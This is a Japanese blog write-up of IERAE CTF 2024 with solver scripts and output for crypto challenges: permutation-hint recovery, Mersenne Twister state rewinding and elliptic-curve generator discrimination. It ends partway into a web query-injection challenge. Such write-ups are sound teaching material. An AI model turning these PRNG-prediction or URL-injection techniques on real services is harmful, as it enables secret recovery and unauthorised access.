IERAE CTF 2024 write-up - プログラム系統備忘録ブログ

プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

IERAE CTF 2024 write-up

IERAE CTF 2024へ、一人チームrotation & (writeup賞用記載)Tan90909090名義で参加しました。そのwrite-up記事です。

IDAの解析結果ファイル.i64などを、GitHubで公開しています

2024/09/25 01:20頃追記: The Kudryavka Sequence問題の説明に、Extended Timestamp Extra Fieldの話を追記しました。

2024/09/25 03:00頃追記: Extended Timestamp Extra Fieldの内容確認結果を、タイムゾーンを変更した場合に差し替えました。

コンテスト概要

2024/09/21(土) 15:00 +09:00 - 09/22(日) 15:00 +09:00の24時間開催でした。他ルールはRulesページから引用します:

About IERAE CTF 2024
IERAE CTF is the CTF organized by ierae, the CTF team of GMO Cybersecurity by Ierae, Inc.
GMO Cybersecurity by Ierae, Inc. is a Japanese security company with many CTF players. We have been helped by and grown with those CTF players, and now we want to help energize the community.

Discord: https://discord.gg/MGZbu88UzU

Competition rules
- This is a team competition.
- There is no limit to the number of people in one team. Of course you can participate alone though.
- The flag format is IERAE{something}, unless otherwise specified.
- Players need to submit a flag to the score server in order to get points.
- A team that gets more score, ranks higher. If some teams get the same score, a team that made the last submission of a valid flag earlier, ranks higher among them.
- If there arise situations which are not covered by these rules, the organizers may make decisions on them as needed. The decisions made are absolute.

Prohibitions
If you take the following actions, you will be disqualified.
- To attack or disturb other teams
- To attack servers unrelated to problems
- To share flags or hints with other teams
- To try brute-force attacks to problem servers

Prizes
10 Amazon gift cards (each worth 3000 yen) will be awarded to 1st place, 7 to 2nd place, and 5 to 3rd place. Please note, however, that they can only be used on amazon.co.jp.
We will also present one Amazon gift card to 7 persons selected by lottery among those who publish a Japanese writeup.
Moreover, 2 rights to take Offsec training courses (each worth $1649) will be awarded to the team that meets the following criteria.
- The team takes first place among teams with students residing in Japan.
- The students will be present at our event IERAE NIGHT.

なお、コンテストに先立って、Homeworkとしてgmo-ierae/ierae-days-ctf-2023が公開されていました。リンク先ページにWe will provide these challenges as homework challenges in IERAE CTF 2024. Each challenge has only 1 pt.とある通り、これらの問題も本コンテストに出題されました。

結果

正の得点を得ている224チーム中、2427点で12位でした:

順位と得点等(ページ加工後)

環境

主に、WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。現状ではUbuntu 24.04のaptではsagemathをinstallできないので、sagemathを使う問題ではUbuntu 22.04も併用しました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4894]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
  • Binary Ninja Free 4.0.5336-Stable
  • Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.8.3
  • Visual Studio Code Version: 1.93.1 (system setup)
  • Google Chrome Version 128.0.6613.138 (Official Build) (64-bit)

WSL2(Ubuntu 24.04)(メイン用)

$ cat /proc/version
Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show IPython | grep Version:
Version: 8.24.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.13.0
$ python3 -m pip show tqdm | grep Version:
Version: 4.66.4
$ curl --version
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.4
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
$ docker --version
Docker version 27.2.0, build 3ab4256
$

WSL2(Ubuntu 22.04)(SageMath用)

$ sage --version
SageMath version 9.5, Release Date: 2022-01-30
$ sage --pip show pwntools | grep Version
Version: 4.13.0
$ sage --pip show tqdm | grep Version
Version: 4.66.5
$ sage --pip show timeout_decorator | grep Version
Version: 0.5.0
$

解けた問題

[sanity check] Welcome (198 teams solves, 122 points)

Welcome to IERAE CTF 2024!

The flag is on Discord

コンテスト開始直後、Discordの announcements チャンネルに次の書き込みがありました:

Ark — Today at 3:00 PM
The CTF has started!
https://ierae-ctf.com/

The flag of "Welcome" challenge is IERAE{An_incredibly_interesting_flag}. Have fun!

フラグを入手できました: IERAE{An_incredibly_interesting_flag}

[misc, warmup] OMG (191 teams solves, 123 points)

Oh my God!!!My browser history has been hijacked!

オーマイガー!!!ブラウザの履歴が乗っ取られてしまった!

Challenge: (接続先URL省略)

配布ファイルはありません。接続先URlへブラウザアクセスしてみると、次のページが表示されました(いずれもアドレスバー箇所を加工して隠しています):

Start / 始めるボタンをクリックして、ブラウザの戻るボタンをクリックすると次の表示になりました:

その後同様に戻るボタンを連打して、合計33回目になると次の表示になりました:

フラグを入手できました: IERAE{Tr3ndy_4ds.LOL}

[crypto, warmup] derangement (106 teams solves, 149 points)

I've made a secret magic string, perfectly encrypted!

nc (接続先IPアドレス省略) 55555

配布ファイルとして、challenge.pyがありました:

#!/usr/bin/env python

from os import getenv
import random
import string
import sys

FLAG = getenv("FLAG", "TEST{TEST_FLAG}")

LENGTH = 15
CHAR_SET = string.ascii_letters + string.digits + string.punctuation

def generate_magic_word(length=LENGTH, char_set=CHAR_SET):
    return ''.join(random.sample(char_set, length))

def is_derangement(perm, original):
    return all(p != o for p, o in zip(perm, original))

def output_derangement(magic_word):
    while True:
        deranged = ''.join(random.sample(magic_word, len(magic_word)))
        if is_derangement(deranged, magic_word):
            print('hint:', deranged)
            break

def guess_random(magic_word, flag):
    print('Oops, I spilled the beans! What is the magic word?')
    if input('> ') == magic_word:
        print('Congrats!\n', flag)
        return True
    print('Nope')
    return False

def main():
    magic_word = generate_magic_word()
    banner = """
/********************************************************\\
|                                                        |
|   Abracadabra, let's perfectly rearrange everything!   |
|                                                        |
\\********************************************************/
"""
    print(banner)
    connection_count = 0

    while connection_count < 300:
        print('type 1 to show hint')
        print('type 2 to submit the magic word')
        try:
            connection_count += 1
            user_input = int(input('> '))

            if user_input == 1:
                output_derangement(magic_word)
            elif user_input == 2:
                if guess_random(magic_word, FLAG):
                    break
                sys.exit()
            else:
                print('bye!')
                sys.exit()
        except:
            sys.exit(-1)

    print('Connection limit reached. Exiting...')

if __name__ == "__main__":
    main()

hint機能を使ってmagic_wordを復元できれば、フラグを得られる内容です。ただoutput_derangement関数の挙動に自信を持てなかったので、とりあえず接続してみました:

$ nc 198.51.100.1 55555

/********************************************************\
|                                                        |
|   Abracadabra, let's perfectly rearrange everything!   |
|                                                        |
\********************************************************/

type 1 to show hint
type 2 to submit the magic word
> 1
hint: (sl$^`J3ve\"8b,
type 1 to show hint
type 2 to submit the magic word
> 1
hint: $8(`3^e\Jl,v"bs
type 1 to show hint
type 2 to submit the magic word
> 1
hint: evb"\,l$J8(`^s3
type 1 to show hint
type 2 to submit the magic word
> 2
Oops, I spilled the beans! What is the magic word?
> asdf
Nope

$

どうやらhint機能では、magic_wordをランダムに並び替えて、全文字が元とは異なる位置になった場合に出力してくれるようです。そうなると、大量のhintを受け取って、それぞれの位置についてその位置に登場しない文字を調べることで、magic_wordを復元できそうです。この発想でソルバーを書きました:

#!/usr/bin/env python3

import pwn
import tqdm

# pwn.context.log_level = "DEBUG"


def solve(io: pwn.tube):
    LENGTH = 15
    appeared_dict: dict[str, set[int]] = {}
    for time in tqdm.trange(295):
        io.sendlineafter(b"> ", b"1")
        io.recvuntil(b"hint:")
        line = io.recvline().decode().strip()
        for i, c in enumerate(line):
            if c not in appeared_dict:
                appeared_dict[c] = set()
            appeared_dict[c].add(i)

    print(f"{appeared_dict = }")
    assert len(appeared_dict) == LENGTH
    word = ["無"] * LENGTH
    for c, s in appeared_dict.items():
        assert len(s) == LENGTH - 1
        diff_set = set(range(LENGTH)).difference(s)
        assert len(diff_set) == 1
        index = next(iter(diff_set))
        word[index] = c

    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(
        b"Oops, I spilled the beans! What is the magic word?", "".join(word).encode()
    )
    print(io.recvall().decode())


with pwn.remote("198.51.100.1", 55555) as io:
    solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to 198.51.100.1 on port 55555: Done
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 295/295 [00:16<00:00, 17.90it/s]
appeared_dict = {'A': {0, 1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14}, '4': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14}, 'l': {0, 1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, 'n': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14}, '>': {0, 1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, '1': {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, '!': {0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, '5': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}, 's': {0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14}, '`': {0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14}, 'y': {0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}, 'H': {0, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14}, 'd': {0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14}, '3': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14}, '&': {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14}}
[+] Receiving all data: Done (101B)
[*] Closed connection to 198.51.100.1 port 55555

> Congrats!
 IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}
Connection limit reached. Exiting...

$

フラグを入手できました: IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}

[crypto, easy] Weak PRNG (54 teams solves, 185 points)

Do you understand the traits of that famous PRNG?

nc (接続先IPアドレス省略) 19937

配布ファイルとして、challenge.pyがありました:

#!/usr/bin/env python

from os import getenv
import random
import secrets

FLAG = getenv("FLAG", "TEST{TEST_FLAG}")


def main():
    # Python uses the Mersenne Twister (MT19937) as the core generator.
    # Setup Random Number Generator
    rng = random.Random()
    rng.seed(secrets.randbits(32))

    secret = rng.getrandbits(32)

    print("Welcome!")
    print("Recover the initial output and input them to get the flag.")

    while True:
        print("--------------------")
        print("Menu")
        print("1. Get next 16 random data")
        print("2. Submit your answer")
        print("3. Quit")
        print("Enter your choice (1-3)")
        choice = input("> ").strip()

        if choice == "1":
            print("Here are your random data:")
            for _ in range(16):
                print(rng.getrandbits(32))
        elif choice == "2":
            print("Enter the secret decimal number")
            try:
                num = int(input("> ").strip())

                if num == secret:
                    print("Correct! Here is your flag:")
                    print(FLAG)
                else:
                    print("Incorrect number. Bye!")
                break
            except (ValueError, EOFError):
                print("Invalid input. Exiting.")
                break
        elif choice == "3":
            print("Bye!")
            break
        else:
            print("Invalid choice. Please enter 1, 2 or 3.")
            continue


if __name__ == "__main__":
    main()

メルセンヌツイスターの2つ目以降の32-bit出力を与えられるので、最初の32-bit出力を復元できればフラグを得られる問題です。前知識として「連続する624個の32-bit出力があれば、その時点での内部状態を復元できて、以降の内容を予測できる」は知っていました。それでは以前の出力を復元する方法があるのかと mersenne twister predict old value でGoogle検索すると、Mersenne Twister (MT19937) で未来と過去の乱数列を予測してみる【Python】記事が見つかりました。記事内容に過去の内部状態の復元用のPythonコードが掲載されていたため、お借りしてソルバーを書きました:

#!/usr/bin/env python3

import random

import pwn
import tqdm

# pwn.context.log_level = "DEBUG"


# https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state
def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xEFC60000)
    x = unBitshiftLeftXor(x, 7, 0x9D2C5680)
    x = unBitshiftRightXor(x, 11)
    return x


def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y


def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y


def get_prev_state(state):
    for i in range(623, -1, -1):
        result = 0
        tmp = state[i]
        tmp ^= state[(i + 397) % 624]
        if (tmp & 0x80000000) == 0x80000000:
            tmp ^= 0x9908B0DF
        result = (tmp << 1) & 0x80000000
        tmp = state[(i - 1 + 624) % 624]
        tmp ^= state[(i + 396) % 624]
        if (tmp & 0x80000000) == 0x80000000:
            tmp ^= 0x9908B0DF
            result |= 1
        result |= (tmp << 1) & 0x7FFFFFFF
        state[i] = result
    return state


def solve(io: pwn.tube):
    N = 624  # 状態ベクトルのサイズ
    xs1 = []  # 復元に使用する乱数列
    for i in tqdm.trange(N // 16):
        io.sendlineafter(b"Enter your choice (1-3)", b"1")
        io.recvline_contains(b"Here are your random data:")
        for j in range(16):
            val = int(io.recvline().decode())
            xs1.append(val)

    assert len(xs1) == N
    mt_state = [untemper(x) for x in xs1]
    random.setstate((3, tuple(mt_state + [N]), None))

    # 検証
    io.sendlineafter(b"Enter your choice (1-3)", b"1")
    io.recvline_contains(b"Here are your random data:")
    for j in range(16):
        val = int(io.recvline().decode())
        assert random.getrandbits(32) == val

    # 元の値を復元
    prev_mt_state = get_prev_state(mt_state)
    random.setstate((3, tuple(prev_mt_state + [0]), None))
    for i in range(N - 1):
        random.getrandbits(32)
    secret = random.getrandbits(32)
    print(f"{secret = }")
    io.sendlineafter(b"Enter your choice (1-3)", b"2")
    io.sendlineafter(b"Enter the secret decimal number", str(secret).encode())
    print(io.recvall().decode())


# with pwn.process(["python3", "./challenge.py"]) as io:
#     solve(io)
with pwn.remote("198.51.100.1", 19937) as io:
    solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to 198.51.100.1 on port 19937: Done
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 39/39 [00:03<00:00, 10.66it/s]
secret = 1364845206
[+] Receiving all data: Done (82B)
[*] Closed connection to 198.51.100.1 port 19937

> Correct! Here is your flag:
IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}

$

フラグを入手できました: IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}

[crypto, easy] splitting (21 teams solves, 255 points)

Do you need to solve many ECDLPs?

nc (接続先IPアドレス省略) 11119

配布ファイルとして、challenge.sageなどがありました:

$ file *
Dockerfile:       ASCII text
challenge.sage:   Python script, ASCII text executable
requirements.txt: ASCII text
$

challenge.sageは次の内容でした:

#!/usr/bin/env sage

from Crypto.Util.number import *
from os import getenv

FLAG = getenv("FLAG", "TEST{TEST_FLAG}").encode()
f = bytes_to_long(FLAG)

p = random_prime(2^128)
Fp = GF(p)
a, b = Fp.random_element(), Fp.random_element()
E = EllipticCurve(Fp, [a, b])

print(a)
print(b)
print(p)

gens = list(E.gens())
if len(gens) < 2:
    gens.append(ZZ(Fp.random_element()) * E.gens()[0])

res = []
while f > 0:
    r = Fp.random_element()
    res.append(ZZ(r) * gens[f & 1])
    f >>= 1

for R in res:
    print(R.xy())

どうやら、楕円曲線のパラメーターと生成元2個が与えられた後に、ランダムな点 rとどちらかの生成元の乗算結果がフラグのビット数分だけ与えられる問題のようです。各乗算結果がどちらの生成元から作られたものか判断できると、ビットを復元できて、全ビットが判明するとフラグも復元できます。

ところで、先週にAlpacaHack Round3 (Crypto)というコンテストが開催されており、参加者の1名であるkurenaifさんによるAlpacaHack Round 3 (Crypto) Writeup Stream - YouTube配信がありました。その中の A Dance of Add and Mul 問題の解説で、次の話がありました:

  • G1.discrete_log(x * G1) は難しい問題を解こうとしているため時間がかかる
  • G2.discrete_log(x * G1)ValueError: ECDLog problem has no solution 例外が即座に送出される
  • この2つの違いから、どちらの生成元を使った乗算かを判断できる
  • 時間がかかる場合の判定には、timeout_decoratorが便利

その話を聞いた記憶があったため、今回の問題でも手元で実験してみました:

sage: tmp = ZZ(r) * gens[0]
sage: gens[0].discrete_log(tmp) → 時間がかかる
sage: gens[1].discrete_log(tmp) → 「ValueError: ECDLog problem has no solution」

今回の場合でも使えそうです!ただもう少し実験すると、うまくいかない場合もあることが分かりました:

  • 体感で半分以上の確率で、全ビットについて2つの生成元両方でValueErrorが起こらず時間がかかりました。この場合は処理を打ち切り、再実行してパラメーターを再生成させる必要がありました。
  • 体感で数割の確率で、ビットによって、一方の生成元のみValueErrorが起こるため生成元を判定できる場合と、2つの生成元両方でValueErrorが起こらず時間がかかる場合がありました。ここで判定できた場合はビットの情報を取得できているため、試行回数を重ねれば全ビットを復元できそうでした。
  • 体感で1割ほど確率で、なにか全然違う結果が得られました。詳細は未調査です。

今回の問題では、フラグは固定ですし、接続ごとに異なる楕円曲線パラメーターが使われます。そのためサーバーと複数回接続して統計を取れば、うまくいく場合を元にフラグを復元できそうです。この発想でプログラムを書きました(なお、試行錯誤の残骸が数多く残っています、単発での復号はおそらくできません):

#!/usr/bin/env sage
# -*- coding: utf-8 -*-

import os
os.environ["TERM"] = "xterm-256color"

import ast
import pwn # sage --pip install pwntools
import tqdm.contrib # sage --pip install tqdm
import timeout_decorator # sage --pip install timeout-decorator
from Crypto.Util.number import long_to_bytes

# pwn.context.log_level = "DEBUG"


# https://furutsuki.hatenablog.com/entry/2021/08/10/000000 を見て最初はalarmでやろうとしましたがどうにも例外が全然出てくれず……
# def try_calculate_discrete_log(base, x):
#     try:
#         alarm(1)
#         base.discrete_log(x)
#         cancel_alarm()
#         return "1" # 多分終わらない
#     except(AlarmInterrupt):
#         # あっているかもしれない
#         return "?"
#     except(ValueError):
#         # 明確に異なる
#         return "0"

def try_calculate_discrete_log(base, x):
    # floatキャストなしだとエラーになった。おそらくsagemathが数値を別の型へ変化させるため。
    # デフォルトのuse_signals=Trueだと何かうまくいかなかったのでFalseにするとうまくいった。
    @timeout_decorator.timeout(float(0.1), use_signals=False)
    def core():
        return base.discrete_log(x)
    try:
        core()
        return "1" # 多分こない
    except(ValueError):
        # 明確に異なる
        return "0"
    except(timeout_decorator.TimeoutError):
        return "?" # どちらか不明

def solve(io_factory):
    flag_str_bits = [""] * 2048
    for _ in tqdm.trange(1):
        with io_factory() as io:
            a = int(io.recvline().decode())
            b = int(io.recvline().decode())
            p = int(io.recvline().decode())

            Fp = GF(p)
            E = EllipticCurve(Fp, [a, b])

            gens = list(E.gens())
            print(f"{len(gens) = }")
            if len(gens) < 2:
                gens.append(ZZ(Fp.random_element()) * E.gens()[0])

            res = []
            try:
                while True:
                    point = ast.literal_eval(io.recvline().decode())
                    res.append(E(point)) # .xy()からの復元がこれでいいのか分かっていません……
            except(EOFError):
                pass

            for (i, R) in enumerate(res):
                if flag_str_bits[i].isdigit():
                    continue
                # g0 = try_calculate_discrete_log(gens[0], R)
                g0 = "?" # こっちの判定やめてみます
                g1 = try_calculate_discrete_log(gens[1], R)
                # print(f"{g0}, {g1}")
                assert not (g0 == "0" and g1 == "0")
                if g0 == "0":
                    # 極稀にこちらも起こる?→こっちの判定やめてみよう
                    assert flag_str_bits[i] != "0"
                    flag_str_bits[i] = "1"
                elif g1 == "0":
                    # こちらが起こる傾向にありそう
                    assert flag_str_bits[i] != "1"
                    flag_str_bits[i] = "0"
                else:
                    if flag_str_bits[i] == "":
                        flag_str_bits[i] = "?"
                print(f"{''.join(flag_str_bits) = }")
            if all(map(lambda s: s.isdigit(), flag_str_bits)):
                break


# solve(lambda: pwn.process(["sage", "challenge.sage"]))
solve(lambda: pwn.remote("198.51.100.1", 11119))

上記プログラムを複数回実行して、それぞれのflag_str_bitsから元フラグを復元するソルバーを書きました:

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes

#   ↓LSBの最初の方はこれになるはず
#   bin(ord("}"))[2::-1]
#   '1011111'
server_output = [
    # "?00000?00000?0?000?00000?00?0?0000?00?0?000?0000?0000000?000000?0??000?0???000000????00?0000?0?0??00000?00?0000000???000?00?0???00?0?0000??000?00??000?000??00000???000000?000?0?0?0000?0????0000??00?00000?00?0000000000???0000?0?000??00?00?000?00000??00???000?000000??0??00?000000000?00?00??????0?0??0000000???0000000000?000??0?0??00?000?00000?00?000?00?00000?0?000?00000000??0?00000???000??0?0?00000000??0?000000000??0??0?0000?0???0??0?0?00?00?000?0??000?000??0000??0000000?00?00000000000?0??00??00000?00000?0000??00?000??0??0000?0?00??000?0?0???000?0000000000?00?00??", # 変だと思う
    "???????0?00????0?0?0????0??00??????00??0?000??00?000???0???00??0???0??????0???00??000??0?0????00??????0?????0???00?0???????????0???????0?0????0???????0???00??0????????????0???0??0???00??????00??0????0???????0???0?????0?0??0????0???0?0?00??000??????0??????0??0???000??0???0??000?????0???0???????????0???00????????0??????00?0???00?0?0???0???0??00????????0000??0000?0????????0??0???????0?0?????00??0????????0??0??????0???????00????????0?????00000????000????0??0????00??????0???????0?0?00???0?????????0??0??000?0???0???0???0???????0?0??0??0?0??00???????0?0?0?00????00????",  # 怪しいかも ← 妥当だったらしいです
    "?0?????0???0??00?0????000?000??0??0?0??0???0???000?0??000??00???????0????00???00??0?0??0?0?0??00???0??00???0?????000?????00???00000???00?0????00??0????00000??0?0?000????0?00??0???????0???0??????000???0?0???0????0??0000????00?0?0??00?0?????000?0????0??????00?0???0?0??0???0??0??????000??000??0??0??00???0????0??0?0??0???000?0??00?0?0??0????0??00?00???000?????0000?0???00?000??0???0?????0?00??000?0?????000?????00????0???0???0??00????00?0??000000???????0??00?0????0?00?0??0???????00??000??00??0???0?0?0????00?0???0???0??00??0??????0??0????00000??0?00?0???0???0?0?0??00?",  # 多分妥当
    "?0???????0?0???0???0????0??0???0????0???0??0??????0????0???00??00????????00????0??000??0???????????0????????0??0??0????0?0????0?0??0??00???????0??0?????00??????0??0???0???00??0??????0????0???0??00?????00???????0???0??????????????????0?0???000?0????0?????0??00???00??????0?????0??0?00????0??00??00?00???00????????00????00???????0?0?0??00?0????????????0???0???0??0????00???????????0????0??0??????00??0???0????0?00????????0??00??00??00?0????0??0????0??0?0?????0?0??0??0?????0???0???00?0?0????????????????????0??0??0???????0???????0???000?0??00?0?0??00?0?????0?????????0?",  # 多分妥当
    "?0???????0?0??00?0?????????????????????0?0?0????0?0????0??00????0??0????00?????????00??????????0??????00?0??0??000?0??00??0???00???0??00??????00?0?????0???0????0??00????0??0??????????????0???0??0????00?????00???????00??0???00?????00???00?????????000?????????0????0???0??0?????0????000??0?0?????00?0?????0???0????00?0????0?00??0????0??00?0?0??????????000?00??0??0?0???????????????0???000?00??00?0????????????0?0?????00?????0?0??0??00???0??0?00?0????00?0???0?0?0?????0????00???0???00?0????????????0???0???0?0?0???0???0???0???????????0?0?0???000?????????0?0?000?????????",  # 多分妥当
    "?0????????00??0??0?0??0?0??00??0????0??00000??00?000???0???00??00??00??0000????0??00???0?0?0??00???0??0??0?00?????00??00?00???000000??00???0???0?0????00000???000??0?????0?0??????00???0??????00??0?0??0000???00??00??0000?0??0000?0??00???00??00??0??000??0??0??0????00???0???0???00????0????000?00??0??00???00???0???000?0??000?00??00?0?0???0?0?0???0?00????0?00???0000?0??000???0??0???0??00?0??0??0?0?0??00???0???0??0???00???0??00??00???000?0??0?0000???000?0??00?0????0?00????00??????0?0?0????00?????00?0?00??00???0??0???0??00??0????0???000?0??0?00?00?0??0?0?0?000?0??0??0?",  # 多分妥当
    "?0?????0?0?0??00?0?0??000?00???0??0?0??0??00??0000?0??0?0??0???00??00??0000???00??000??0?0?0??0????0??00?0?00??00000??00?00???000000??00?0?0??00?00???000000??000?000??0?0??0??0??00??00???0???0??0?0???000???00??00??000?????0000?0??00?0?00???0?00??000??0??0?0?0???000??0??00??000??0?00???000?00??0??0????00???0??0000?0??000000??00?0?0??00???0???0?00???000000??0000?0??000?0?0??0???0??0000??0??00000??00??000??0?00???00???0??000?00??0?00?0??000000??0000?0??00???0??0000?0??00???0??0?0??00??00??0??00?0?00??000?00??0???0??00??0????0?0?000?0?00000?00?00?0?0?0?000?0?00?0??",  # 多分妥当
    "???????0???0??00???????00?0?0??0??000??0??00????000???0?0??00??0????0??0000???00??00???0???????0???0??0??0?????0?000??0??00????00??0??00?0?0??0??00???0000?0??00??0?0??0?0?00?????00???0???0??00??00????000????0???0??0000?0??0??0?0??00?0??0???00?0??000??0??0??00???00??????0???000????000??00??00??00?0????00??????00?0????00?000??00?0?0??00?0?0??00?00?????0??0??0?00?0??0?0?00???0??????000??????000?0??00?000???0?00???0?0?????00???0??0000????000000???0?0?0???0?0?0??00?0????00???0??0???000??00??0??00?0??0???00??0??0???0??00???????0?0?0?0???00?00?00?00?0?0???000?0??0?0??",  # 多分妥当
]


FLAG_LEN = len(server_output[0])
question_count_list = [0] * FLAG_LEN
for i in range(FLAG_LEN):
    for out in server_output:
        if out[i] == "?":
            question_count_list[i] += 1

flag = 0
for i, q in enumerate(question_count_list):
    if q == len(server_output):
        flag |= 1 << i
print(f"{flag = }")
print(long_to_bytes(flag))

実行しました:

$ ./restore_flag.py
flag = 276521194564229105263480919841464376844132884853460541360914870578321345205528785777183219131337345358834460995114354998463459770985435685419574028236678856643554949017981
b'IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}'
$

フラグを入手できました: IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}

[web, warmup] Futari APIs (81 teams solves, 162 points)

curl 'http://(接続先IPアドレス省略):3000/search?user=peroro'

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.vscode/settings.json: JSON text data
./compose.yaml:          ASCII text
./frontend.ts:           ASCII text
./user-search.ts:        ASCII text
$

frontend.tsは次の内容です:

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

次のことを行います:

  • /serachエンドポイントのみ対応しています
  • /serachエンドポイントではuserパラメーターを使って、new URL(`${user}?apiKey=${FLAG}`, userSearchAPI)のURLを使ってバックエンド側と通信しようとします
  • APIキーがフラグです

user-search.tsは次の内容です:

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

次のことを行います

  • apiKeyパラメーター内容がフラグと一致しているか検証します
  • apiKeyパラメーターチェックが通ったら、idパラメーターを使って検索します
  • 検索結果があればその名前を表示します

さて、最初に問題を見た時、どこからフラグを取得できるのか全然分かりませんでした。とりあえず手元でdocker環境を起動してひたすらcurlで試行錯誤を繰り返したときの思考過程です:

  • curl 'http://localhost:3000/search?user=peroro?'とすると、new URL(`${user}?apiKey=${FLAG}`, userSearchAPI)箇所でのクエリ文字列箇所へ介入できるため、Invalid API Key.エラーを引き起こせるようになります。同様にapiKeyクエリも自分で与えることで、フラグと完全一致するかブルートフォースはできるようにはなりましたが、あまりにも非効率です。
